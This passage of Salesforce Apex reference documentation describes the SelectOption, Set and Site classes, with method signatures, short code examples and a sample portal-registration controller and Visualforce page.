2480
SelectOption ClassReference
Signature
public Boolean getDisabled()
Return Value
Type: Boolean
Usage
If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can
both view and select the option.
getEscapeItem()
Returns the current value of the SelectOption object's itemEscaped attribute.
Signature
public Boolean getEscapeItem()
Return Value
Type: Boolean
Usage
If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped is set to false, items are rendered as written.
getLabel()
Returns the option label that is displayed to the user.
Signature
public String getLabel()
Return Value
Type: String
getValue()
Returns the option value that is returned to the controller if a user selects the option.
Signature
public String getValue()
2481
SelectOption ClassReference
Return Value
Type: String
setDisabled(isDisabled)
Sets the value of the SelectOption object's isDisabled attribute.
Signature
public Void setDisabled(Boolean isDisabled)
Parameters
isDisabled
Type: Boolean
Return Value
Type: Void
Usage
If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can
both view and select the option.
setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object's itemEscaped attribute.
Signature
public Void setEscapeItem(Boolean itemsEscaped)
Parameters
itemsEscaped
Type: Boolean
Return Value
Type: Void
Usage
If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped is set to false, items are rendered as written.
setLabel(label)
Sets the value of the option label that is displayed to the user.
2482
SelectOption ClassReference
Signature
public Void setLabel(String label)
Parameters
label
Type: String
Return Value
Type: Void
setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.
Signature
public Void setValue(String value)
Parameters
value
Type: String
Return Value
Type: Void
Set Class
Represents a collection of unique elements with no duplicate values.
Namespace
System
Usage
The Set methods work on a set, that is, an unordered collection of elements that was initialized using the set keyword. Set elements
can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types. Set methods are all instance
methods, that is, they all operate on a particular instance of a Set. The following are the instance methods for sets.
Note:
•Uniqueness of set elements of user-defined types is determined by the equals and hashCode methods, which you
provide in your classes. Uniqueness of all other non-primitive types is determined by comparing the objects’ fields.
•If the set contains String elements, the elements are case-sensitive. Two set elements that differ only by case are considered
distinct.
2483
Set ClassReference
For more information on sets, see Sets on page 33.
IN THIS SECTION:
Set Constructors
Set Methods
Set Constructors
The following are constructors for Set.
IN THIS SECTION:
Set<T>()
Creates a new instance of the Set class. A set can hold elements of any data type T.
Set<T>(setToCopy)
Creates a new instance of the Set class by copying the elements of the specified set. T is the data type of the elements in both sets
and can be any data type.
Set<T>(listToCopy)
Creates a new instance of the Set class by coping the list elements. T is the data type of the elements in the set and list and can
be any data type.
Set<T>()
Creates a new instance of the Set class. A set can hold elements of any data type T.
Signature
public Set<T>()
Example
// Create a set of strings
Set<String> s1 = new Set<String>();
// Add two strings to it
s1.add('item1');
s1.add('item2');
Set<T>(setToCopy)
Creates a new instance of the Set class by copying the elements of the specified set. T is the data type of the elements in both sets
and can be any data type.
Signature
public Set<T>(Set<T> setToCopy)
2484
Set ClassReference
Parameters
setToCopy
Type: Set<T>
The set to initialize this set with.
Example
Set<String> s1 = new Set<String>();
s1.add('item1');
s1.add('item2');
Set<String> s2 = new Set<String>(s1);
// The set elements in s2 are copied from s1
System.debug(s2);
Set<T>(listToCopy)
Creates a new instance of the Set class by coping the list elements. T is the data type of the elements in the set and list and can be
any data type.
Signature
public Set<T>(List<T> listToCopy)
Parameters
listToCopy
Type: Integer
The list to copy the elements of into this set.
Example
List<Integer> ls = new List<Integer>();
ls.add(1);
ls.add(2);
// Create a set based on a list
Set<Integer> s1 = new Set<Integer>(ls);
// Elements are copied from the list to this set
System.debug(s1);// DEBUG|{1, 2}
Set Methods
The following are methods for Set. All are instance methods.
IN THIS SECTION:
add(setElement)
Adds an element to the set if it is not already present.
addAll(fromList)
Adds all of the elements in the specified list to the set if they are not already present.
2485
Set ClassReference
addAll(fromSet)
Adds all of the elements in the specified set to the set that calls the method if they are not already present.
clear()
Removes all of the elements from the set.
clone()
Makes a duplicate copy of the set.
contains(setElement)
Returns true if the set contains the specified element.
containsAll(listToCompare)
Returns true if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the
method.
containsAll(setToCompare)
Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original
set that calls the method.
equals(set2)
Compares this set with the specified set and returns true if both sets are equal; otherwise, returns false.
hashCode()
Returns the hashcode corresponding to this set and its contents.
isEmpty()
Returns true if the set has zero elements.
remove(setElement)
Removes the specified element from the set if it is present.
removeAll(listOfElementsToRemove)
Removes the elements in the specified list from the set if they are present.
removeAll(setOfElementsToRemove)
Removes the elements in the specified set from the original set if they are present.
retainAll(listOfElementsToRetain)
Retains only the elements in this set that are contained in the specified list.
retainAll(setOfElementsToRetain)
Retains only the elements in the original set that are contained in the specified set.
size()
Returns the number of elements in the set (its cardinality).
add(setElement)
Adds an element to the set if it is not already present.
Signature
public Boolean add(Object setElement)
2486
Set ClassReference
Parameters
setElement
Type: Object
Return Value
Type: Boolean
Usage
This method returns true if the original set changed as a result of the call. For example:
Set<String> myString = new Set<String>{'a','b','c'};
Boolean result = myString.add('d');
System.assertEquals(true, result);
addAll(fromList)
Adds all of the elements in the specified list to the set if they are not already present.
Signature
public Boolean addAll(List<Object> fromList)
Parameters
fromList
Type: List
Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.
Usage
This method results in the union of the list and the set. The list must be of the same type as the set that calls the method.
addAll(fromSet)
Adds all of the elements in the specified set to the set that calls the method if they are not already present.
Signature
public Boolean addAll(Set<Object> fromSet)
Parameters
fromSet
Type: Set<Object>
2487
Set ClassReference
Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.
Usage
This method results in the union of the two sets. The specified set must be of the same type as the original set that calls the method.
Example
Set<String> myString = new Set<String>{'a','b'};
Set<String> sString = new Set<String>{'c'};
Boolean result1 = myString.addAll(sString);
System.assertEquals(true, result1);
clear()
Removes all of the elements from the set.
Signature
public Void clear()
Return Value
Type: Void
clone()
Makes a duplicate copy of the set.
Signature
public Set<Object> clone()
Return Value
Type: Set (of same type)
contains(setElement)
Returns true if the set contains the specified element.
Signature
public Boolean contains(Object setElement)
2488
Set ClassReference
Parameters
setElement
Type: Object
Return Value
Type: Boolean
Example
Set<String> myString = new Set<String>{'a','b'};
Boolean result = myString.contains('z');
System.assertEquals(false, result);
containsAll(listToCompare)
Returns true if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method.
Signature
public Boolean containsAll(List<Object> listToCompare)
Parameters
listToCompare
Type: List<Object>
Return Value
Type: Boolean
containsAll(setToCompare)
Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set
that calls the method.
Signature
public Boolean containsAll(Set<Object> setToCompare)
Parameters
setToCompare
Type: Set<Object>
Return Value
Type: Boolean
2489
Set ClassReference
Example
Set<String> myString = new Set<String>{'a','b'};
Set<String> sString = new Set<String>{'c'};
Set<String> rString = new Set<String>{'a','b','c'};
Boolean result1, result2;
result1 = myString.addAll(sString);
system.assertEquals(true, result1);
result2 = myString.containsAll(rString);
System.assertEquals(true, result2);
equals(set2)
Compares this set with the specified set and returns true if both sets are equal; otherwise, returns false.
Signature
public Boolean equals(Set<Object> set2)
Parameters
set2
Type: Set<Object>
The set2 argument is the set to compare this set with.
Return Value
Type: Boolean
Usage
Two sets are equal if their elements are equal, regardless of their order. The == operator is used to compare the elements of the sets.
The == operator is equivalent to calling the equals method, so you can call set1.equals(set2); instead of set1 ==
set2;.
hashCode()
Returns the hashcode corresponding to this set and its contents.
Signature
public Integer hashCode()
Return Value
Type: Integer
2490
Set ClassReference
isEmpty()
Returns true if the set has zero elements.
Signature
public Boolean isEmpty()
Return Value
Type: Boolean
Example
Set<Integer> mySet = new Set<Integer>();
Boolean result = mySet.isEmpty();
System.assertEquals(true, result);
remove(setElement)
Removes the specified element from the set if it is present.
Signature
public Boolean remove(Object setElement)
Parameters
setElement
Type: Object
Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.
removeAll(listOfElementsToRemove)
Removes the elements in the specified list from the set if they are present.
Signature
public Boolean removeAll(List<Object> listOfElementsToRemove)
Parameters
listOfElementsToRemove
Type: List<Object>
2491
Set ClassReference
Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.
Usage
This method results in the relative complement of the two sets. The list must be of the same type as the set that calls the method.
Example
Set<integer> mySet = new Set<integer>{1, 2, 3};
List<integer> myList = new List<integer>{1, 3};
Boolean result = mySet.removeAll(myList);
System.assertEquals(true, result);
Integer result2 = mySet.size();
System.assertEquals(1, result2);
removeAll(setOfElementsToRemove)
Removes the elements in the specified set from the original set if they are present.
Signature
public Boolean removeAll(Set<Object> setOfElementsToRemove)
Parameters
setOfElementsToRemove
Type: Set<Object>
Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.
Usage
This method results in the relative complement of the two sets. The specified set must be of the same type as the original set that calls
the method.
retainAll(listOfElementsToRetain)
Retains only the elements in this set that are contained in the specified list.
Signature
public Boolean retainAll(List<Object> listOfElementsToRetain)
2492
Set ClassReference
Parameters
listOfElementsToRetain
Type: List<Object>
Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.
Usage
This method results in the intersection of the list and the set. The list must be of the same type as the set that calls the method.
Example
Set<integer> mySet = new Set<integer>{1, 2, 3};
List<integer> myList = new List<integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);
retainAll(setOfElementsToRetain)
Retains only the elements in the original set that are contained in the specified set.
Signature
public Boolean retainAll(Set setOfElementsToRetain)
Parameters
setOfElementsToRetain
Type: Set
Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.
Usage
This method results in the intersection of the two sets. The specified set must be of the same type as the original set that calls the method.
size()
Returns the number of elements in the set (its cardinality).
Signature
public Integer size()
2493
Set ClassReference
Return Value
Type: Integer
Example
Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);
Integer result2 = mySet.size();
System.assertEquals(2, result2);
Site Class
Use the Site Class to manage your Force.com sites.
Namespace
System
Usage
If there is a exception when using site.createPortalUser, a null is returned and the site system administrator is sent an email.
For more information on sites, see “Force.com Sites” in the Salesforce online help.
Force.com Sites Examples
The following example creates a class, SiteRegisterController, which is used with a Visualforce page (see markup below) to
register new Customer Portal users.
Note: In the example below, you must enter the account ID of the account that you want to associate with new portal users. You
must also add the account owner to the role hierarchy for this code example to work. For more information, see “Setting Up Your
Customer Portal” in the Salesforce online help.
/**
* An Apex class that creates a portal user
*/
public class SiteRegisterController {
// PORTAL_ACCOUNT_ID is the account on which the contact will be created on
// and then enabled as a portal user.
//Enter the account ID in place of <portal_account_id> below.
private static Id PORTAL_ACCOUNT_ID = '<portal_account_id>';
public SiteRegisterController () {
}
public String username {get; set;}
public String email {get; set;}
public String password {get; set {password = value == null ? value : value.trim(); }
2494
Site ClassReference
}
public String confirmPassword {get; set { confirmPassword =
value == null ? value : value.trim(); } }
public String communityNickname {get; set { communityNickname = \
value == null ? value : value.trim(); } }
private boolean isValidPassword() {
return password == confirmPassword;
}
public PageReference registerUser() {
// If password is null, a random password is sent to the user
if (!isValidPassword()) {
ApexPages.Message msg = new ApexPages.Message(ApexPages.Severity.ERROR,
Label.site.passwords_dont_match);
ApexPages.addMessage(msg);
return null;
}
User u = new User();
u.Username = username;
u.Email = email;
u.CommunityNickname = communityNickname;
String accountId = PORTAL_ACCOUNT_ID;
// lastName is a required field on user, but if it isn't specified,
the code uses the username
String userId = Site.createPortalUser(u, accountId, password);
if (userId != null) {
if (password != null && password.length() > 1) {
return Site.login(username, password, null);
}
else {
PageReference page = System.Page.SiteRegisterConfirm;
page.setRedirect(true);
return page;
}
}
return null;
}
}
/**
* Test class.
*/
@isTest
private class SiteRegisterControllerTest {
// Test method for verifying the positive test case
static testMethod void testRegistration() {
SiteRegisterController controller = new SiteRegisterController();
controller.username = 'test@force.com';
controller.email = 'test@force.com';
controller.communityNickname = 'test';
// registerUser always returns null when the page isn't accessed as a guest user
2495
Site ClassReference
System.assert(controller.registerUser() == null);
controller.password = 'abcd1234';
controller.confirmPassword = 'abcd123';
System.assert(controller.registerUser() == null);
}
}
The following is the Visualforce registration page that uses the SiteRegisterController Apex controller above:
<apex:page id="Registration" showHeader="false" controller=
"SiteRegisterController" standardStylesheets="true">
<apex:outputText value="Registration"/>
<br/>
<apex:form id="theForm">
<apex:messages id="msg" styleClass="errorMsg" layout="table" style="margin-top:1em;"/>
<apex:panelGrid columns="2" style="margin-top:1em;">
<apex:outputLabel value="{!$Label.site.username}" for="username"/>
<apex:inputText required="true" id="username" value="{!username}"/>
<apex:outputLabel value="{!$Label.site.community_nickname}"
for="communityNickname"/>
<apex:inputText required="true" id="communityNickname" required="true"
value="{!communityNickname}"/>
<apex:outputLabel value="{!$Label.site.email}" for="email"/>
<apex:inputText required="true" id="email" required="true" value="{!email}"/>
<apex:outputLabel value="{!$Label.site.password}" for="password"/>
<apex:inputSecret id="password" value="{!password}"/>
<apex:outputLabel value="{!$Label.site.confirm_password}" for="confirmPassword"/>
<apex:inputSecret id="confirmPassword" value="{!confirmPassword}"/>
<apex:outputText value=""/>
<apex:commandButton action="{!registerUser}" value="{!$Label.site.submit}"
id="submit"/>
</apex:panelGrid>
</apex:form>
cod</apex:page>
The sample code for the createPersonAccountPortalUser method is nearly identical to the sample code above, with the
following changes:
•Replace all instances of PORTAL_ACCOUNT_ID with OWNER_ID.
•Determine the ownerID instead of the accountID, and use the createPersonAccountPortalUser method instead of the
CreatePortalUser method by replacing the following code block:
String accountId = PORTAL_ACCOUNT_ID;
String userId = Site.createPortalUser(u, accountId, password);
with
String ownerId = OWNER_ID;
String userId = Site.createPersonAccountPortalUser(u, ownerId, password);
Site Methods
The following are methods for Site. All methods are static.
2496
Site ClassReference
IN THIS SECTION:
changePassword(newPassword, verifyNewPassword, oldPassword)
Changes the password of the current user.
createExternalUser(name, accountId)
Creates a community or a portal user for the given account and associates it with the community.
createExternalUser(name, accountId, password)
Creates a community or a portal user for the given account and associates it with the community. This method sends an email with
the specified password to the user.
createExternalUser(name, accountId, password, sendEmailConfirmation)
Creates a community or portal user and associates it with the given account. This method sends the user an email with the specified
password as well as a new user confirmation email.
createPersonAccountPortalUser(user, ownerId, password)
Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal.
createPersonAccountPortalUser(user, ownerId, recordTypeId, password)
Creates a person account using the specified recordTypeID, then enables it for the site's portal.
createPortalUser(user, accountId, password, sendEmailConfirmation)
Creates a portal user for the given account and associates it with the site's portal.
forgotPassword(username)
Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password
reset was successful or not.
getAdminEmail()
Returns the email address of the site administrator.
getAdminId()
Returns the user ID of the site administrator.
getAnalyticsTrackingCode()
The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for
your site.
getCurrentSiteUrl()
Deprecated. This method was replaced by getBaseUrl() in API version 30.0. Returns the base URL of the current site that
references and links should use.
getBaseCustomUrl()
Returns a base URL for the current site that doesn’t use a Force.com subdomain. The returned URL uses the same protocol (HTTP or
HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value
never ends with a / character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns
an empty string. If the current request is not a site request, then this method returns an empty string. This method replaced
getCustomWebAddress and includes the custom URL's path prefix..
getBaseInsecureUrl()
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request's domain is used. The returned value
includes the path prefix and never ends with a / character. If the current request is not a site request, then this method returns an
empty string.
2497
Site ClassReference
getBaseRequestUrl()
Returns the base URL of the current site for the requested URL. This isn't influenced by the referring page's URL. The returned URL
uses the same protocol (HTTP or HTTPS) as the current request. The returned value includes the path prefix and never ends with a
/ character. If the current request is not a site request, then this method returns an empty string.
getBaseSecureUrl()
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS.
Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with
the site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns
an empty string. The returned value includes the path prefix and never ends with a / character. If the current request is not a site
request, then this method returns an empty string.
getBaseUrl()
Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL
instead of the current request's URL. The returned value includes the path prefix and never ends with a / character. If the current
request is not a site request, then this field returns an empty string. This field replaces getCurrentSiteUrl.
getCustomWebAddress()
Deprecated. This method was replaced by getBaseCustomUrl() in API version 30.0.
getDomain()
Returns the Force.com domain name for your organization.
getErrorDescription()
Returns the error description for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an
empty string.
getErrorMessage()
Returns an error message for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an
empty string.
getMasterLabel()
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns null.
getName()
Returns the API name of the current site.
getOriginalUrl()
Returns the original URL for this page if it’s a designated error page for the site; otherwise, returns null.
getPasswordPolicyStatement()
Returns the password requirements for a community created with the Customer Service (Napili) template.
getPathPrefix()
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is
http://myco.force.com/partners, then /partners is the path prefix. If the current request is not a site request,
then this method returns an empty string. This method replaced getPrefix in API version 30.0.
getPrefix()
Deprecated. This method was replaced by getPathPrefix() in API version 30.0.
getSiteId()
Returns the ID of the current site. If the current request is not a site request, then this field returns null.
getTemplate()
Returns the template name associated with the current site; returns the default template if no template has been designated.
2498
Site ClassReference
getSiteType()
Returns the API value of the site type field for the current site. This can be Visualforce for a Force.com site, Siteforce for a Site.com
site, ChatterNetwork for a Force.com Communities site, or ChatterNetworkPicasso for a Site.com Communities site. If the current
request is not a site request, then this method returns null.
getSiteTypeLabel()
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns
null.
isLoginEnabled()
Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.
isPasswordExpired()
For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns
false.
isRegistrationEnabled()
Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.
isValidUsername(username)
Returns true if the given username is valid; otherwise, returns false.
login(username, password, startUrl)
Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl
is not a relative path, it defaults to the site's designated index page.
setPortalUserAsAuthProvider(user, contactId)
Sets the specified user information within the site’s portal via an authentication provider.
validatePassword(user, password, confirmPassword)
Indicates whether a given password meets the requirements specified by org-wide or profile-based password policies in the current
user’s org.
changePassword(newPassword, verifyNewPassword, oldPassword)
Changes the password of the current user.
Signature
public static System.PageReference changePassword(String newPassword, String
verifyNewPassword, String oldPassword)
Parameters
newPassword
Type: String
verifyNewPassword
Type: String
oldPassword
Type: String
Optional.
2499
Site ClassReference
Return Value
Type: System.PageReference
Usage
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
createExternalUser(name, accountId)
Creates a community or a portal user for the given account and associates it with the community.
Signature
public static Id createExternalUser(SObject name, String accountId)
Parameters
name
Type: SObject
Information required to create a user.
accountId
Type: String
The ID of the account you want to associate the user with.
Return Value
Type: Id
The ID of the user that this method creates.
Usage
This method throws Site.ExternalUserCreateException when user creation fails.
The nickname field is required for the User sObject when using the createExternalUser method.
Note: This method is only valid when a site is associated with a Customer Portal.
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
createExternalUser(name, accountId, password)
Creates a community or a portal user for the given account and associates it with the community. This method sends an email with the
specified password to the user.
Signature
public static Id createExternalUser(SObject name, String accountId, String password)
2500
Site ClassReference
Parameters
name
Type: SObject
Information required to create a user.
accountId
Type: String
The ID of the account you want to associate the user with.
password
Type: String
The password of the community or portal user. If not specified, or if set to null or an empty string, this method sends a new
password email to the portal user.
Return Value
Type: Id
The ID of the user that this method creates.
Usage
This method throws Site.ExternalUserCreateException when user creation fails.
The nickname field is required for the User sObject when using the createExternalUser method.
Note: This method is only valid when a site is associated with a Customer Portal.
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
createExternalUser(name, accountId, password, sendEmailConfirmation)
Creates a community or portal user and associates it with the given account. This method sends the user an email with the specified
password as well as a new user confirmation email.
Signature
public static Id createExternalUser(SObject name, String accountId, String password,
Boolean sendEmailConfirmation)
Parameters
name
Type: SObject
Information required to create a user.
accountId
Type: String
The ID of the account you want to associate the user with.
2501
Site ClassReference
password
Type: String
The password of the community or portal user. If not specified, or if set to null or an empty string, this method sends a new
password email to the portal user.
sendEmailConfirmation
Type: Boolean
Determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal user. The
default is false, that is, the new user email isn't sent.
Return Value
Type: Id
The ID of the user that this method creates.
Usage
This method throws Site.ExternalUserCreateException when user creation fails.
The nickname field is required for the User sObject when using the createExternalUser method.
Note: This method is only valid when a site is associated with a Customer Portal.
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
createPersonAccountPortalUser(user, ownerId, password)
Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal.
Signature
public static ID createPersonAccountPortalUser(sObject user, String ownerId, String
password)
Parameters
user
Type: sObject
ownerId
Type: String
password
Type: String
Return Value
Type: ID
2502
Site ClassReference
Usage
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new
user profile is a high-volume portal user.
createPersonAccountPortalUser(user, ownerId, recordTypeId, password)
Creates a person account using the specified recordTypeID, then enables it for the site's portal.
Signature
public static ID createPersonAccountPortalUser(sObject user, String ownerId, String
recordTypeId, String password)
Parameters
user
Type: sObject
ownerId
Type: String
recordTypeId
Type: String
password
Type: String
Return Value
Type: ID
Usage
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new
user profile is a high-volume portal user.
createPortalUser(user, accountId, password, sendEmailConfirmation)
Creates a portal user for the given account and associates it with the site's portal.
Signature
public static ID createPortalUser(sObject user, String accountId, String password,
Boolean sendEmailConfirmation)
2503
Site ClassReference
Parameters
user
Type: sObject
accountId
Type: String
password
Type: String
(Optional) The password of the portal user. If not specified, or if set to null or an empty string, this method sends a new password
email to the portal user.
sendEmailConfirmation
Type: Boolean
(Optional) Determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal
user. The default is false, that is, the new user email isn't sent.
Return Value
Type: ID
Usage
The nickname field is required for the user sObject when using the createPortalUser method.
Note: This method is only valid when a site is associated with a Customer Portal.
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
forgotPassword(username)
Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password
reset was successful or not.
Signature
public static Boolean forgotPassword(String username)
Parameters
username
Type: String
Return Value
Type: Boolean
Note: The return value will always be true unless it’s called outside of a Visualforce page. If it's called outside of a Visualforce page,
it will be false.
2504
Site ClassReference
Usage
Calls to this method in API version 30.0 and later won’t commit the transaction automatically. Calls to this method prior to API version
30.0 commit the transaction, making it impossible to roll back to a save point before the call.
getAdminEmail()
Returns the email address of the site administrator.
Signature
public static String getAdminEmail()
Return Value
Type: String
getAdminId()
Returns the user ID of the site administrator.
Signature
public static ID getAdminId()
Return Value
Type: ID
getAnalyticsTrackingCode()
The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your
site.
Signature
public static String getAnalyticsTrackingCode()
Return Value
Type: String
getCurrentSiteUrl()
Deprecated. This method was replaced by getBaseUrl() in API version 30.0. Returns the base URL of the current site that references
and links should use.
Note that this may return the referring page's URL instead of the current request's URL. The returned value includes the path prefix and
always ends with a / character. If the current request is not a site request, then this method returns null. If the current request is not
a site request, then this method returns null. This method was replaced by getBaseUrl in API version 30.0.
2505
Site ClassReference
Signature
public static String getCurrentSiteUrl()
Return Value
Type: String
Usage
Use getBaseUrl() instead.
getBaseCustomUrl()
Returns a base URL for the current site that doesn’t use a Force.com subdomain. The returned URL uses the same protocol (HTTP or
HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value never
ends with a / character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns an empty
string. If the current request is not a site request, then this method returns an empty string. This method replaced getCustomWebAddress
and includes the custom URL's path prefix..
Signature
public static String getBaseCustomUrl()
Return Value
Type: String
Usage
This method replaces getCustomWebAddress() and includes the custom URL's path prefix.
getBaseInsecureUrl()
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request's domain is used. The returned value includes
the path prefix and never ends with a / character. If the current request is not a site request, then this method returns an empty string.
Signature
public static String getBaseInsecureUrl()
Return Value
Type: String
getBaseRequestUrl()
Returns the base URL of the current site for the requested URL. This isn't influenced by the referring page's URL. The returned URL uses
the same protocol (HTTP or HTTPS) as the current request. The returned value includes the path prefix and never ends with a / character.
If the current request is not a site request, then this method returns an empty string.
2506
Site ClassReference
Signature
public static String getBaseRequestUrl()
Return Value
Type: String
getBaseSecureUrl()
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS.
Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with the
site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns an
empty string. The returned value includes the path prefix and never ends with a / character. If the current request is not a site request,
then this method returns an empty string.
Signature
public static String getBaseSecureUrl()
Return Value
Type: String
getBaseUrl()
Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL
instead of the current request's URL. The returned value includes the path prefix and never ends with a / character. If the current request
is not a site request, then this field returns an empty string. This field replaces getCurrentSiteUrl.
Signature
public static String getBaseUrl()
Return Value
Type: String
Usage
This method replaces getCurrentSiteUrl().
getCustomWebAddress()
Deprecated. This method was replaced by getBaseCustomUrl() in API version 30.0.
Returns the request's custom URL if it doesn't end in Force.com or returns the site's primary custom URL. If neither exist, then this returns
null. Note that the URL's path is always the root, even if the request's custom URL has a path prefix. If the current request is not a site
request, then this method returns null. The returned value always ends with a / character.
2507
Site ClassReference
Signature
public static String getCustomWebAddress()
Return Value
Type: String
Usage
Use getBaseCustomUrl() instead.
getDomain()
Returns the Force.com domain name for your organization.
Signature
public static String getDomain()
Return Value
Type: String
getErrorDescription()
Returns the error description for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an
empty string.
Signature
public static String getErrorDescription()
Return Value
Type: String
getErrorMessage()
Returns an error message for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty
string.
Signature
public static String getErrorMessage()
Return Value
Type: String
2508
Site ClassReference
getMasterLabel()
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns null.
Signature
public static String getMasterLabel()
Return Value
Type: String
getName()
Returns the API name of the current site.
Signature
public static String getName()
Return Value
Type: String
getOriginalUrl()
Returns the original URL for this page if it’s a designated error page for the site; otherwise, returns null.
Signature
public static String getOriginalUrl()
Return Value
Type: String
getPasswordPolicyStatement()
Returns the password requirements for a community created with the Customer Service (Napili) template.
Signature
public static String getPasswordPolicyStatement()
Return Value
Type: String
2509
Site ClassReference
getPathPrefix()
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is
http://myco.force.com/partners, then /partners is the path prefix. If the current request is not a site request, then
this method returns an empty string. This method replaced getPrefix in API version 30.0.
Signature
public static String getPathPrefix()
Return Value
Type: String
getPrefix()
Deprecated. This method was replaced by getPathPrefix() in API version 30.0.
Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, /partners is
the path prefix. Returns null if the prefix isn’t defined. If the current request is not a site request, then this method returns a null.
Signature
public static String getPrefix()
Return Value
Type: String
getSiteId()
Returns the ID of the current site. If the current request is not a site request, then this field returns null.
Signature
public static String getSiteId()
Return Value
Type: Id
getTemplate()
Returns the template name associated with the current site; returns the default template if no template has been designated.
Signature
public static System.PageReference getTemplate()
Return Value
Type: System.PageReference
2510
Site ClassReference
getSiteType()
Returns the API value of the site type field for the current site. This can be Visualforce for a Force.com site, Siteforce for a Site.com site,
ChatterNetwork for a Force.com Communities site, or ChatterNetworkPicasso for a Site.com Communities site. If the current request is
not a site request, then this method returns null.
Signature
public static String getSiteType()
Return Value
Type: String
getSiteTypeLabel()
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns
null.
Signature
public static String getSiteTypeLabel()
Return Value
Type: String
isLoginEnabled()
Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.
Signature
public static Boolean isLoginEnabled()
Return Value
Type: Boolean
isPasswordExpired()
For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.
Signature
public static Boolean isPasswordExpired()
Return Value
Type: Boolean
2511
Site ClassReference
isRegistrationEnabled()
Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.
Signature
public static Boolean isRegistrationEnabled()
Return Value
Type: Boolean
isValidUsername(username)
Returns true if the given username is valid; otherwise, returns false.
Signature
public static Boolean isValidUsername(String username)
Parameters
username
Type: String
The username to test for validity.
Return Value
Type: Boolean
login(username, password, startUrl)
Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl
is not a relative path, it defaults to the site's designated index page.
Signature
public static System.PageReference login(String username, String password, String
startUrl)
Parameters
username
Type: String
password
Type: String
startUrl
Type: String
2512
Site ClassReference
Return Value
Type: System.PageReference
Usage
